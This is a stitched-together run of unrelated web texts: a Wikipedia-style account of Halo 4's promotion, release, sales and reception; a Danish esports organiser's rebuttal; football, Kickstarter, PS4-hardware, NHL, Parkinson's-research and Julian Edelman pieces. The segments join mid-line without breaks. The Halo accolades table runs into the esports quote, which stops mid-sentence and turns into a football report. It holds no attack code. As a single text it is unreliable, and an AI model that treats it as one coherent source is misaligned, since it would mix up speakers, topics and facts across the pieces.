Microsoft once again partnered up with PepsiCo, having done so previously while promoting Halo 3.[12][137] In the United States players were able to earn double experience in Halo 4 by purchasing Mountain Dew and Doritos and then redeem product codes found on the packaging using an iOS and Android app game called Halo 4: King of the Hill Fueled by Mountain Dew.[12][137][138] Players were able to redeem product codes from October 15, 2012, on websites that PepsiCo set up for the promotion.[12][137] In the United Kingdom, a promotion ran from September 24, 2012, until December 4, 2012, where purchasers of Mountain Dew were able to redeem codes to have a chance of winning copies of Halo 4, Xbox 360 avatar items and a trip to Seattle to attend a tour around the studio of 343 Industries.[139] Microsoft also partnered with Pizza Hut branches in the United Kingdom; people who entered the contest via an official website had a chance of winning Halo 4-themed prizes.[140] The contest was open from October 22, 2012, until December 30, 2012; entering participants also received a free code for a Halo 4 Xbox 360 avatar outfit.[140] Microsoft partnered with American Express to offer a promotion for eligible card holders in the United States and United Kingdom.[141] Card holders who sync their American Express card with their Xbox Live account receive coupons and credits and are also rewarded with additional credits and coupons for obtaining achievements in Halo 4.[141] Microsoft also offered Halo 4 armor, for Xbox Live avatars, to people who watched at least thirty minutes of footage from the 2012 United States presidential debates on their Xbox 360.[142]
On October 31, 2012, Microsoft and government-owned organization Liechtenstein Marketing transformed the countryside of Liechtenstein for a special live action event for fans and members of the press.[143][144][145][146] The Gutenberg Castle was transformed into a military fortification where guests tried out Halo 4 for the first time.[143][144][145][146] A nearby countryside had a United Nations Space Command military camp installed and Balzers Quarry was transformed into a battleground where fifteen actors played out a two-hour-long adventure.[143][144][145][146]
Promotional videos [ edit ]
Halo 4 was announced with a trailer at E3 2011, titled "Awakening".[147] It was directed by Joseph Kosinski and visual effects were created by animation company Digital Domain.[147][148] Kosinski and Digital Domain had collaborated previously on the Halo 3 "Starry Night" commercial.[149] The trailer is set on the UNSC frigate Forward Unto Dawn during the opening events of Halo 4. It depicts the Master Chief being awakened from cryonic sleep by Cortana, as the remnants of the frigate drift towards Requiem.[147] The trailer was short-listed in the Visual Effects and Design categories at the 2012 AICP Show and NEXT Awards.[150]
On April 30, 2012, it was announced that a web series, titled Halo 4: Forward Unto Dawn, would play on Machinima Prime and Halo Waypoint during the weeks leading up to the release for Halo 4.[151] The series debuted on October 5, 2012, and contained five 15-minute live action shorts.[151][152][153] It was directed by Stewart Hendler and the project was Microsoft's largest investment in a live action promotion.[151][152] The series is set in 2526, 31 years before the events of Halo 4 at the beginning of the Human/Covenant war.[9][91] The plot is centered around the character Thomas Lasky, who appears in the video game, he is primarily portrayed by Australian actor Tom Green in the live action series.[153] The series also ties in with the plot of the Halo 4 campaign and Spartan Ops mode.[9] The Master Chief is featured in the latter part of the series, and is played by actor Daniel Cudmore.[153]
Halo 4 Warthog at the A full-size model of theWarthog at the Microsoft booth of E3 2012
At E3 2012, the presentation of Halo 4 was preceded with a live action segment called "The Commissioning".[154] The video was directed by Nicolai Fuglsig and filmed over two and a half days, with four weeks of post-production and visual effects were added by Method Studios.[154] Music in the trailer was scored by Neil Davidge.[121] The video shows the UNSC Infinity vessel being pulled within the confines of the planet Requiem. Mark Rolston portrays Captain Andrew Del Rio in the live action video.[121]
On October 18, 2012, the Halo 4 launch trailer, titled "Scanned", premiered on Late Night with Jimmy Fallon. The trailer was produced by David Fincher and directed by Tim Miller. The trailer was filmed in Prague and features both CGI and live action sequences.[155] It shows Master Chief, bound by a force shield, being approached by an enemy. The enemy moves toward John, scanning his mind to find the source of his strength and search for weaknesses. A live action sequence proceeds with flashbacks of John's past; showing him being kidnapped as a child, the Spartan-II augmentation procedure, and him being suited into his MJOLNIR armor. The trailer then shows John attacking Promethean Knights, before returning to the scene of him bound and being faced by his enemy, the Didact.[156] On October 23, 2012, the Halo 4 launch gameplay trailer was revealed; it featured segments of gameplay footage from the campaign and multiplayer.[157]
In October 2012, visual effects company Framestore assisted advertising agency McCann London in producing live TV adverts for Halo 4. The adverts aired on November 9, 2012; they featured live data on how many people were playing Halo 4 online, correct to within five minutes of the broadcast.[158]
Release [ edit ]
Halo 4 was released in all territories except Japan on November 6, 2012;[159] the Japanese version was released on November 8.[9] Microsoft initially released the game in two separate retail versions, branded as "Standard" and "Limited" editions. The Limited Edition includes digital items for Xbox 360 avatars and in-game Spartan-IVs, as well as access to future downloadable content in the form of three competitive multiplayer map packs, containing a total of nine maps. It also includes a 90-minute extended version of the live action digital series, Halo 4: Forward Unto Dawn and a UNSC Infinity Briefing Packet.[160] At launch, two Specializations were available to all players; only owners of the Halo 4 Limited Edition had access to all eight Specializations.[160][161] However, 343 Industries later granted access to players, in certain countries, who participated in an online multiplayer match during the opening fortnight. For the remaining players, the Specializations were gradually unlocked in the months following launch.[161]
Microsoft produced a Xbox 360 Limited Edition Halo 4 console bundle that launched alongside the game. The bundle features two custom designed controllers, a standard edition of Halo 4, a wired headset, exclusive downloadable content and a Halo 4-themed Xbox 360 containing a 320GB hard drive. It was also announced that Microsoft would be releasing a standalone Xbox 360 Halo 4 Limited Edition wireless controller featuring a different design to the one included in the console bundle.[162][163]
Microsoft reported that their security teams and law enforcement were investigating the possibility of Halo 4 content being leaked on the internet in October 2012.[164] Jessica Shea, Community Manager at 343 Industries, warned fans to be wary of Halo 4 spoilers that were posted on the internet.[165] O'Connor stated at New York Comic Con that leaks of the game and footage would not have any impact on how the game is released or marketed and that unlicensed uploading of high-profile games is inevitable.[166]
Over ten thousand stores across forty countries opened for the midnight launch of Halo 4.[167] On the evening before the release of the game, a fifty-foot diameter illuminated Didact glyph was flown by a helicopter over the River Thames in London, from the Greenwich Peninsula to Tower Bridge.[168][169] The glyph was created by a team of over fifty designers, engineers and fabricators and took approximately eight weeks to design and construct.[169] Following the release of the game, New Zealand censors declared many copies of Halo 4 illegal, after deciding to label it with an R13 rating, restricting it to buyers aged 13 and over. Many copies of the game had already gone on sale with an unrestricted M certificate, but these copies are in breach of the Films, Videos, and Publications Classification Act 1993.[170]
On February 5, 2013, a digital version of the game was released via the Xbox Live Games on Demand service.[171] A game of the year edition of Halo 4, featuring the season pass and Champion's Bundle DLC, pre-order bonuses, special avatar prop and the entire first season of Spartan Ops, was released on October 8.[172]
Sales [ edit ]
Halo 4 grossed US$220 million on its launch day and $300 million in its opening week. The gross was a new record for the franchise,[173] surpassing Halo: Reach's $200 million first-day gross.[174] More than one million people played Halo 4 on Xbox Live within the first 24 hours of release.[175] While Halo 4 debuted at the top of the UK Video Games Chart and became the eighteenth biggest launch ever in the UK, it failed to beat the week one sales records of Halo 3 and Halo: Reach.[176] U.S. retail tracking firm NPD reported that Halo 4 was the second most sold retail video game of November 2012, the third most sold retail video game of December 2012, and the third most sold retail video game of the year.[177][178] In the United States Halo 4 became the best-selling Microsoft Studios title for sales counted during respective launch years.[179] In 2012, Halo 4 was the third most played game on Xbox Live based on average unique users per day.[180]
Halo 4 supports downloadable content (DLC), which is available to download via the Xbox Live Marketplace. Three War Games map packs, each containing three maps, can be purchased individually, or bought together with the Halo 4 War Games Pass. The pass is included in the Limited Edition version of the game and is available to purchase on the Xbox Live Marketplace.[181] The first map package, the "Crimson Map Pack", was released on December 10, 2012.[182] Players who were awarded early access to Specializations received complimentary access to the Crimson Map Pack for a limited time.[19] The "Majestic Map Pack" was released on February 25, 2013,[183] followed by the "Castle Map Pack" on April 8.[184] Forge Island, a map designed for Forge mode creations was made available at no cost to Xbox Live users on March 29.[185] Microsoft released additional DLC on August 20 that could be purchased together as the Champions Bundle or separately. The three DLC packs include: the "Bullseye Pack" containing two multiplayer maps and early access to the Ricochet gametype; the "Steel Skin Pack", which offers steampunk-themed skins for weapons; and the "Infinity Armor Pack", which includes new armor for customizing the player's Spartan.[186]
Aside from map packs, the game is supported by regular matchmaking playlist updates.[187] These updates make playlist and balance changes, sandbox tweaks and fix minor glitches. A title update to fix various game issues and glitches was released in December 2012.[188] Spartan Ops went on a mid-season break that December and resumed on January 21, 2013; the back half of the season was made available as a free download from the Xbox Live Marketplace.[16][189][190] On January 29, an in-game search feature was implemented for Halo 4's file sharing system;[16] a web version of the Halo 4 file browser was made available on February 27, 2013.[191] On April 8, 343 Industries launched a competitive skill ranking system akin to that featured in Halo 2 and Halo 3.[192][193]
During Spartan Ops' mid-season break, a free-to-enter Halo 4 tournament, titled Halo 4 Infinity Challenge, was launched by Microsoft in partnership with Virgin Gaming. Players could register on the Halo 4 Infinity Challenge website to participate in the tournament, giving them the opportunity to win various prizes.[194][195] On July 3, 2013, 343 Industries announced a second tournament in partnership with Virgin Gaming, titled Halo 4 Global Championship. The tournament spanned a period of five weeks with a grand prize of $200,000. The tournament began on July 5 at RTX 2013, and on July 15 on Xbox Live.[196] The tournament finals took place on September 1 at the 2013 Penny Arcade Expo; the event was streamed live and was hosted by Larry Hryb, Blair Herter, and Jessica Chobot.[197]
Halo 4 was re-released as part of Halo: The Master Chief Collection for the Xbox One on November 11, 2014.[198] A sequel, Halo 5: Guardians, was released for the Xbox One on October 27, 2015.[199]
Reception [ edit ]
Critical reception [ edit ]
Halo 4 received positive reviews from critics, with aggregate review website Metacritic assigning a score of 87/100, respectively.[200] Many reviewers were impressed by 343 Industries' debut effort and considered it a worthy addition to the series.[6][18][203][205] Ryan McCaffrey of IGN gave Halo 4 a very positive review, considering it to be the best game of the series to date and the best Xbox 360 game of 2012; he called it "a bar-raising triumph for the entire first-person shooter genre."[18] Wesley Yin-Poole of Eurogamer remarked that although he was initially sceptical of changes being made to the formula, 343's greatest achievement was managing to stay true to what Halo is. He was enthusiastic to see what the developer would do with Halo 5 and expected them to deviate further while retaining the series' "magic".[209]
Halo 4's campaign received a varied reception from critics. Reviewers enjoyed Master Chief's return as the protagonist, and the emotional connection between Master Chief and Cortana was highly praised.[202][204][205][210] Mike Mahardy of Game Informer complimented the characterization improvements of Chief and Cortana, calling their evolved love story more "focused" and "relatable" to the player, in comparison to the "cloudy and impersonal" stories from the prior games of the franchise.[211] GameSpot editor, Chris Watters, described the "thrilling and emotional return of Master Chief and Cortana" as the highlight of the game.[205] GamesRadar maintained that the narrative was enthralling and the campaign's structure was much better than its predecessors.[206] IGN's McCaffrey praised the game's lighting, movements, animations, and lauded the campaign for its pacing, "deftly mixing on-foot combat, vehicle sequences, quiet story moments, and key Chief-and-Cortana interactions." Although Neil Davidge's work on the musical composition was noted as a "bold shift", McCaffrey claimed the music seemed "complementary rather than additive."[18]
1UP.com reviewer Jose Otero was critical of Halo 4's story, writing that the ending of the game "doesn't make a lot of sense". He also remarked that while the narrative tied the main plot lines together well, it was disappointing to see some of the smaller story points were ignored entirely.[6] Both G4 and Official Xbox Magazine agreed that the plot became convoluted on occasions and might be difficult to understand for new players of the franchise.[203][207] G4 reviewer, Adam Rosenburg, also stated that while the soundtrack had some memorable moments, he was disappointed that composer Neil Davidge had chosen to ditch the familiar theme of previous games.[203] Michael Gapper of Computer and Video Games drew a comparison between Halo 4 and Halo 2. He stated that the hardware limitations of the Xbox 360 had negatively impacted Halo 4's campaign, in the same way that they had throttled Bungie's ambitions for Halo 2 on the original Xbox. He explained that although the game was visually stunning, this had detracted from the scale and spectacle that was present in Halo 3's campaign. He found the spaces within the campaign to be narrow and constrained which led to a lack of tactical options in encounters.[201][212][213]
Competitive multiplayer was well received by critics. Chris Watters of GameSpot welcomed the new armor abilities and gameplay tweaks introduced in multiplayer. He praised the continuing robustness of Custom Game options and the accessibility of level editing in Forge.[205] CVG's Gapper stated that the new scoring system alone made Halo 4 multiplayer the best in the series, emphasising that recognition for assists and completing objective tasks was a positive change.[201] Polygon writer, Arthur Gies, said that the new game mode Dominion was the best addition to Halo multiplayer since the introduction of Xbox Live. He also thought that the multiplayer component was more approachable to people outside of the core player-base without dumbing anything down.[208]
Reception towards Spartan Ops was less favorable than multiplayer and campaign; some reviewers expressed their disappointment in Spartan Ops replacing the cooperative Firefight mode.[6][204] Criticisms were aimed at the brevity of missions and lack of replay value.[18][205] Despite any shortcomings, IGN said the mode was a must-play for the "incredible pre-episode cinematics" which open up "a number of interesting narrative possibilities for future episodes and seasons."[18] Martin Robinson of Eurogamer complained about the repetition of environments within the first half of the season and noted that missions quickly become a chore. He felt that Spartan Ops was a "weak, bloated alternative" compared to Firefight.[214] 1UP.com found that while the short length felt odd initially, the mode was still fun to play and offered more opportunities to play Halo cooperatively.[6]
Accolades [ edit ]
List of pre-release awards and nominations Year Awards Category Winner/Nominee Result Ref. 2011 Spike TV Video Game Awards Most Anticipated Game (viewer-voted) Halo 4 Nominated [215] 2012 Golden Joystick Awards One to Watch Halo 4 Nominated [216] Game Critics Awards (at E3 2012) Best of Show Halo 4 Nominated [217]
[218] Best Console Game Halo 4 Nominated Best Action Game Halo 4 Won Best Online Multiplayer Game Halo 4 Won IGN's Best of E3 2012 Awards Best Overall Game Halo 4 Nominated [219] Best Xbox 360 Game Halo 4 Won Best Action Game Halo 4 Nominated Best Shooter Halo 4 Won"I know it was a misstake by CPH Wolves as a team but I punished one person alone." I have never written or said that anywhere. And I am not an all-mighty God in the Gaming.dk environment who can control and Voodoo everybody around me. The admins of the tournament are professionals and the most experienced in Denmark. They received my complaint and did their own investigation from there. After that they ruled. I am in no position to rule anything regarding tournament rules in Gaming.dk. I actually don't see it as the CPH Wolves team's mistake what so ever. The team as a whole did not decide to threaten/suggest to stay away with less than one hour before the event should go live. Nico did not do that either. Nico spoke to me the day before the event and tried all day to convince me to persuade the rest of the crew to let them come. I did call the entire production team together twice on Saturday to give them the arguments from the Nico - but the decision stayed the same. I told Nico and believed the problem was solved. From my perspective Nico tried to solve the thing the day before the show. He might have pushed gla1ve to act the way he felt was necessary on the day of the event towards me and the Gaming.dk crew but I can't file a complaint against Nico since he did not break the rules that states how players should behave during Gaming.dk tournaments. Again: The decision was not mine to make. I did not rule the judgment at all but I filed the complaint which was backed up by the tournament rules which every player agreed on upon entering the tournament. I offered Copenhagen Wolves plenty of other suggestions on Saturday of what they could do to figure out a solution. As I told Nico when he arrived: "I cannot argue this thing anymore - we did the discussing yesterday and today I have to focus on the show". But then things escalated. It has always - from the day the tournament was announced - been publicly known that the finals would be held in a TV studio which by definition isn't a publicly available space. When renting the studio we also discussed and decided who to let in. And audience were not a part of that plan. I know that Danish players are used to bring their girlfriends to events but the main difference here is that we paid for the studio and if we only want players, one manager per team and the crew working inside the studio - that should be respected, from our point of view. When we found out that the players wanted to bring girlfriends we agreed to one "manager" for each team. We informed the teams Friday (two days in advance) that they could bring one - and only one - manager. I did my best in the situation to communicate the problem of having extra people inside the studio. I tried to explain thoroughly to everybody involved how the situation was, so you saying that I didn't communicate is a plain lie. Period. It is not my experience that I closed my ears to anyone since we tried to work around various solutions and I certainly did not do anything in order to force money out of any persons hands. I have not once in this process suggested what the ruling in the case should be. Frederik "realition" Byskov and the rest of the owners of Gaming.dk can confirm that since I actively said to them: "I will stay out of |
a free kick for Austria, while Ibrahimovic was booked minutes later for a separate foul on Martin Harnik.
Austria defender Aleksandar Dragovic, though, believes the Paris Saint-Germain striker should have been punished for the first foul, adding that referee Pavel Kralovec had been too scared to send him off.
"He should have received the red card for it, but the referee was afraid. But the referee should not be our excuse, we did not make use of our chances," he said.
Austria coach Marcel Koller added: "I have seen it on the TV. You don't actually see what Zlatan does, but David's head goes back, which it usually doesn't, thus something must have happened."
Asked about the incident after the match, Ibrahimovic jested that he should be severely punished for his actions, saying sarcastically: "I should be banned for 40 matches."
He also told Swedish reporters that there was no intent to attack his opponent.
"The referee sees that Alaba attacks me twice, and the third time all I tried to do is to shield the ball from him. He's 1.5-1.6 metres [4.11-5.3 feet] tall -- it's clear that he reaches towards my elbow," he said of Alaba, who is actually 1.8 metres [5.11 feet] tall.New Yorkers, get ready to high-five your neighbor and throw your top hats in the air because the +Pool Kickstarter has been fully funded. That's right, the floating East River pool that will allow city residents to swim in their own backyard is well on its way to becoming a reality.
Get ready for this:
And this:
And this:
The design team behind the impressive endeavor managed to exceed their $250K goal, raising a whopping $273,114 at the time of publication. These funds will go toward the construction of a Floating Lab -- a 35 by 35 feet pool where testing of the project's filtration system will take place. A big congratulations is in order for the Family and PlayLab teams behind the design.
To learn more about the sustainable design project that would bring a giant filtration system to the murky waters between Manhattan and Brooklyn, check out our interview with PlayLab's Archie Lee Coates here. The team plans to raise a total of $15 million to create a final 164-foot pool, which (pending funding) would be completed by 2016. Stay tuned for more updates.
PHOTO GALLERY +PoolSony Computer Entertainment boss Andrew House has spoken of the internal discussions held within PlayStation as it attempted to balance the priorities of a PS4 with beefy technical specifications and a console able to launch at an affordable price point.
Speaking during this morning's keynote speech at Develop 2014, attended by Eurogamer, House mentioned the "sleepless nights" he faced as the conflict between the two lay unresolved.
"We were balancing priorities and a lot of the philosophy that underpinned PlayStation 4 came from our experiences with PlayStation 3," he explained.
"Sometimes these priorities were almost in conflict with each other. We absolutely wanted to build a platform with strong momentum out of the gate and that, from my point of view, necessitated a certain hardware price point and value proposition that could be more than just a niche market from the get-go."
But at the same time PlayStation 4 lead architect Mark Cerny - also in attendance this morning - was touring developers and painting a picture of PlayStation 4's user experience and the ease of development it would offer. These were elements Sony wanted to improve on after "bitter and painful experiences on PlayStation 3".
"We had to make a call and it was another sleepless one for me," House continued. "I think we have a fantastic hardware procurement and design group that can achieve the economics of a platform over time.
"I essentially put a bet that if we went out there with this and made a strong financial commitment upfront, there would be other ways to offset and mitigate that. First and foremost that was ease of development and great experiences, and we would manage the financial implications in some way."
Financial implications such as the choice to include a hard drive with PlayStation 4 rather than flash memory or another alternative. It was a billion dollar decision for the company.
"Hard drives are expensive, and it's not like you can put half a hard drive in a console," Cerny explained. "The alternative is flash but you can't put much flash memory in it. We went through all the pluses and minuses - many minuses - of not having a hard drive... the conclusion was we needed to include one and it cost a billion dollars."
RAM was another issue. "In the early days we were thinking do we need 2GB or do we need 4GB?" Cerny added. The final decision to choose 8GB was, again, "very expensive".
House's job was to work out how decisions like this would affect the PlayStation 4 business model for years to come - how it would impact the launch price, but also the console's future price drops and other deals. Choosing expensive technology had "massive implications", House said, but not including such things risked the vision of the platform Sony wanted to built.
"Financial issues aside we had to strive for a certain level of experience to get users to embrace a brand new platform," House explained.
"Does every player need to play Watch Dogs the way it was intended? If you wanted to save money, unfortunately the answer is yes," Cerny concurred. "Watch Dogs is a title that needed 15GB cached [storage memory], a very fast media like a hard drive to be the game people wanted it to be. [Having a hard drive] was embedded in such a basic level of what developers were thinking of making."
The proof of those difficult decisions, however - the 7 million PlayStation 4 consoles Sony has sold to date - is plain to see.Alex Burrows has been around long enough to cite the influence Todd Bertuzzi — no joke — had on his career, so when he showed up at training camp this September and found himself skating on the fourth line, his situation didn’t have to be explained to him.
He was a 35-year-old coming off a nine-goal season, who was in the last year of his contract. Some in the organization believed he could still help the team. There was a stronger belief he should be bought out or buried in the minors.
So, taking all this in, Burrows didn’t ask a lot of questions. No, in the spirit of the great Lloyd Christmas he just thought, “So you’re telling me there’s a chance?” and went about making himself an indispensable part of this franchise one more time.
We’ve always known the Montrealer is wired differently than most. This year just proves it yet again.
“I wasn’t sure where he’d fit in this year,” Canucks head coach Willie Desjardins said on Saturday as the Canucks prepared for the Columbus Blue Jackets.
“I didn’t know. The good thing is he knew. He knew what he wanted to do. He wasn’t going to come back and just try to hang on.
“I guess he’s proven people wrong his whole career. People have always wondered if he’s going to take the next step or keep doing it. But he always finds a way.”
Even if he’s the only one who can see that way.
Friday night, Burrows drew the primary assist on Luca Sbisa’s goal, then added an empty-netter in a 4-2 victory over Tampa the Canucks needed the way roses need rain water. On the season he’s returned to top-six duty and his six goals and 14 points have been found money for a team desperate for offence.
But those numbers don’t begin to tell the story of the influence Burrows has had on his young linemates Bo Horvat and Sven Baertschi or his impact on the locker-room. Desjardins’ team is in tough virtually every time it takes the ice but there have been games this year that Burrows has coaxed a winning effort out of this group through the sheer strength of his will.
That he’s done that at all is impressive enough. That he’s done it when he looked to be the forgotten man heading into this season might be the most remarkable chapter of his remarkable career.
“He’s made our team better,” said Desjardins.
“Look at his career,” said Horvat. “He’s always had to work for everything.”
Horvat, just so you know, was seven-years-old when Burrows broke in with the East Coast league’s Greenville Grrrowl 14 years ago, and, with Baertschi, the trio forms an odd confederacy. Desjardins admits he was just throwing names into a blender when he came up with this configuration for a Nov. 15 game against the Rangers. But that night the Canucks snapped a nine-game losing streak with a 5-3 win and the line has been the team’s most consistent unit ever since.
“He has a passion for the game and I think his will to win drives our line,” Horvat said. “It makes Sven and I better players and he keeps us honest.”
Burrows, for his part, has found kindred spirits in the two kids. He cites their own competitiveness and desire as the key to the line and says all three have been on the same page since they were put together.
“They want to drive the bus,” Burrows said. “It reminds of when I broke in and Kes (Ryan Kesler) was thinking he wanted to be the next go-to guy.”
Kesler? Really?
“Well, maybe they’re not as grumpy,” Burrows conceded.
Still, it’s been a nice story on a team that can use some nice stories. Burrows’ career already read like a hockey version of Rudy before this latest turn — two years in the East Coast league before he got a break with the Manitoba Moose and an even bigger break with the Canucks; the uncertain first years when Alain Vigneault threatened to cut him loose, the chance placement on a line with the Sedins that led to a five-year stretch when he averaged 28 goals a season.
But, beginning with an injury-plagued 2013-14, the last three years haven’t been as inspiring for Burrows. John Tortorella wanted to buy him out after that season. Last year wasn’t a whole lot better and now that he’s facing unrestricted free agency, well, like we said, no one has to draw Burrows any pictures.
But this year he’s reminded the faithful what makes him special, what makes him a player who’ll go up in the Canucks’ ring of honour one day. They might have forgotten, but it’s back this season and it’s been a fine thing to see.
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Is there more to this story? We’d like to hear from you about this or any other stories you think we should know about. Emailvantips@postmedia.com.Parkinson’s is neurodegenerative brain disease that affects almost 5 million people worldwide, and is second only to Alzheimer’s in global prevalence. Researchers have studied the causes, analysed the symptoms and have refined advanced genomics and proteomics techniques to create increasingly sophisticated cellular profiles of Parkinson’s disease pathology — all to little avail. Part of the problem, some have argued, is that the methodologies used to study the disease have barely changed since it was first described by Dr. James Parkinson in 1817.
However, The Michael J. Fox Foundation for Parkinson’s Research (MJFF) and Intel Corporation announced earlier today a collaboration to detect patterns in the progression of the disease by analysing the data collected from wearable technologies — essentially, monitoring devices that can track a patient’s symptoms throughout the day.
The devices are capable of tracking a whole range of symptoms, such as gait, hand tremors, and sleep patterns. Unlike the traditional method that encourages patients to manually log their symptoms — requiring an incredible amount of time and effort — the wearable technologies can collect 300 observations a second.
With this data, the team at Intel use their expertise to create algorithms that effectively analyze these datasets and identify important patterns. Having these algorithms at their disposal, medical researchers at the Michael J. Fox Foundation can then choose which algorithms to apply to a particular patient’s compilation of data — thereby tailoring the technology to individual cases, and exercising their medical expertise to extract meaningful information.
As the company describe:
“To analyze the volume of data, Intel developed a big data analytics platform that integrates a number of software components including Cloudera CDH* — an open-source software platform that collects, stores, and manages data. The data platform is deployed on a cloud infrastructure optimized on Intel(R) architecture, allowing scientists to focus on research rather than the underlying computing technologies. The platform supports an analytics application developed by Intel to process and detect changes in the data in real time. By detecting anomalies and changes in sensor and other data, the platform can provide researchers with a way to measure the progression of the disease objectively.”
The hope is that such a platform will soon be able to store other types of data — such as patient, genome, and clinical trial data — as well as incorporate more advanced technologies, like machine learning and graph analytics. As Todd Sherer, PhD, CEO of The Michael J. Fox Foundation emphasizes, the potential for these technologies to revolutionize current approaches to Parkinson’s is staggering:
“Nearly 200 years after Parkinson’s disease was first described by Dr. James Parkinson in 1817, we are still subjectively measuring Parkinson’s disease largely the same way doctors did then…Data science and wearable computing hold the potential to transform our ability to capture and objectively measure patients’ actual experience of disease, with unprecedented implications for Parkinson’s drug development, diagnosis and treatment.”
Currently, the project has been tested on a trial group of 25 participants, and is being prepared for mass use. A smartphone app, with which patients can add notes to their records, is also in the process of development.
Read the press release here
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(Image Credit: A Health Blog)This story appears in ESPN The Magazine's April 27 NFL Draft Issue. Subscribe today!
JULIAN EDELMAN IS hesitant, at first, to break out his Bill Belichick impression. He is well aware that even a playful needling of his head coach, the closest thing the NFL has to a Tywin Lannister, carries a certain amount of risk. But he cannot resist.
He's sitting in the back of his favorite Los Angeles sushi restaurant, Sushiya on Sunset Boulevard, chomping on a second plate of edamame and re-creating the moment when Belichick called him to say the Patriots were drafting him in the seventh round of the 2009 NFL draft. Edelman's impression is less an accurate rendering of his boss than it is a vocal marriage of Dick Cheney and Kermit the Frog, but it works because there are hints of genuine affection in it. Edelman commits to the character in full, adding a half sneer and a furrowed brow: "I pick up the phone and he says to me, 'Eeeeeeedelman, I don't know what we're going to do with you, but you're a hell of a football player.'"
The Patriots knew they were taking a flier on Edelman. A quarterback out of Kent State, he'd never played any of the positions -- wide receiver, punt returner, cornerback -- Belichick was contemplating for him. The team certainly had no intention of making him a Brady backup. But that phone call set in motion one of the most unique career arcs in recent NFL history. Edelman spent his first four years toiling on the margins, almost getting cut one year to the next, before exploding for 197 receptions over the past two seasons. He attained full New England folk hero status by catching the go-ahead score in this year's Super Bowl.
Edelman's 42 playoff receptions the past two seasons are the most ever during a five-game playoff span. Harry How/Getty Images
After fighting and clawing just to stay in the NFL for most of his career, it's safe to say that Edelman, 28, is enjoying his moment. Over the past three months, he has paraded through Disneyland, presented at the Grammys and become a fixture on the talk show circuit. He partied atop a duck boat during the Pats' Super Bowl parade, beating his chest, taking off his sweater in a mock striptease and punching out a giant picture of Richard Sherman. He popped up on a red carpet looking like Daniel Craig's James Bond and appeared in a blurry video lifting up his shirt for a flock of admiring females at a Harvard keg party. He, of course, screened the Entourage movie, in which he has a cameo, with Mark Wahlberg, Justin Bieber and Rob Gronkowski. He might have even passed Gronk as the team's Good Time Charlie when he showed up in a picture, either asleep or passed out in bed, posted by a woman on the dating app Tinder, alongside the caption, "Just f---ed Julian Edelman, no lie!" Gossip sites rejoiced. Edelman laughed it off.
But for Edelman, things aren't as carefree as they seem. After all, it was just three seasons ago, he says, that Belichick called him into his office and told him he was no lock to make the team. The Patriots are notoriously ruthless and unsentimental, and Edelman -- who's spent most of his career playing at the league minimum -- knows it. There are rules, and you break them at your own risk. You don't talk about injuries, especially concussions. (Edelman declined to discuss the apparent blow to his head during the Super Bowl.) And you're allowed to be playful and goofy only while you're at the top of your game.
"As long as you're doing your job on the field, you can have fun," Edelman says. "But if you start slipping, you're going to start hearing s---. Everything is about football with Bill. I love the guy to death. He's the man who gave me the opportunity. But I know the day I start slipping, the day I'm not producing enough and there is somebody cheaper, I'm gone. That's just Coach."
Which is why, despite what his extended post-Super Bowl tour de fiesta might have you believe, Edelman is living the life of a football monk. A mere 40 days into his offseason -- a time when most players are still recovering from the grind of a long year -- he insists on eating nothing but edamame and drinking ice water (with lemon) for lunch while he chats.
"I'm actually on this crazy little diet right now," he says. "I try to pack all my nutrients into a smoothie right when I wake up. I'll go out to restaurants at night sometimes, but I count pretty much every calorie."
If it seems strange that the receiver could live simultaneous lives of excess and asceticism, the explanation is simple: He understood, long ago, that all of this could be gone tomorrow.
Nathaniel Wood
PART OF EDELMAN'S calculus this offseason has been trying to figure out how to maximize his time in the spotlight. In the era of Chris Borland, every NFL player is thinking more about his future, and over the past year, Edelman has put in motion a calculated business strategy, literally designed to capitalize on his moment in the spotlight.
Turns out, he knows what he's doing. Two years ago he teamed with a Boston marketing firm called Superdigital to build and grow his Internet stardom. And lately, their efforts have kicked into overdrive. He films comedy sketches to post on YouTube, and although higher-profile stars have more followers, Superdigital claims that fans interact with Edelman on social media at a higher rate than any other NFL player outside of J.J. Watt. Whether or not that's true, it's hard to find a pro athlete who leverages his digital brand more deliberately than the Pats receiver.
"I think Jules has always approached his career with a small-business mentality," says his father, Frank Edelman, a mechanic and the owner of A-1 Auto Tech in Mountain View, California. It's a month after the Patriots' Super Bowl triumph and, dressed in a blue shirt with his name stitched above his heart, Frank is looking up at the pictures of his son plastered across his office walls. "No one wants to hear you complain. They want you to get the part they need, and they want you to fix their car.
"Every day," he adds, "your job is on the line." Frank Edelman's own dad died when Frank was 3 years old. He spent much of his childhood living in a trailer park, playing very few sports. To support himself, he learned to fix cars and became a certified mechanic by 19. After opening his shop in 1987, he would come home each day and drag Julian and his older brother, Jason, to the park. He would hit them ground balls, pitch to them or have them work on throwing a football until it got dark. Even when they hated it. Even when they tried to refuse. "I think my dad still needs shoulder surgery from all the batting practice he threw us," Edelman says. "He wanted to live through us a little."
Edelman racked up 109 yards on nine receptions in the 2015 Super Bowl, playing through a controversial helmet-to-helmet hit. Tom Pennington/Getty Images
Sports came naturally to Julian. "A total daredevil and a ball of energy," says his mother, Angie Edelman. "He'd go up the slide, then jump off instead of slide down. His whole life, you had to watch him closely." His Pop Warner team, coached by his father, won the youth football Super Bowl with Edelman playing tailback and linebacker. His father didn't let him lift weights, but every day they worked on agility drills. Pushups. Situps. Changing directions like a squirrel running for its life. Sometimes, when firing another endless string of passes, Edelman would pretend he was Tom Brady, a local kid starting for the Patriots who'd played high school football at Junipero Serra in San Mateo, just 9 miles from Redwood City.
Edelman was a small kid, but that was hardly reason for his dad to go easy on him. Once, during a session of batting practice when he was in eighth grade, Edelman accused his father of throwing inside once too often and warned him not to do it again. Frank, not one to back down or be mouthed off to, fired the next pitch even closer to his son. Edelman charged the mound and leaped into the air in a rage, his fists whirling, but his father was ready. He caught him in midjump and slammed him to the ground. Frank laughs as he tells the story. "Jules jumps up and tries to head-butt me. I kind of pin him down, and he's kicking and screaming, and he cuts the inside of his lip because he'd just gotten braces that day. There was blood all down the front of his jersey. People were looking at us like we were lunatics. By today's rules, they'd probably have put me in prison. It wasn't all peaches and cream."
Going into his junior year at Woodside High School, Edelman was still barely 5 feet tall and less than 100 pounds. "Kids would tease him all the time, and he was getting into fights," Frank says. "He'd come into my room and just cry and say, 'Dad, when am I going to grow?'"
The growth spurt finally happened, and Julian grew 7 inches in less than a year. His senior year of high school, he quarterbacked Woodside to a 13-0 record.
"I thought to myself, 'OK, now it's on,'" Frank says.
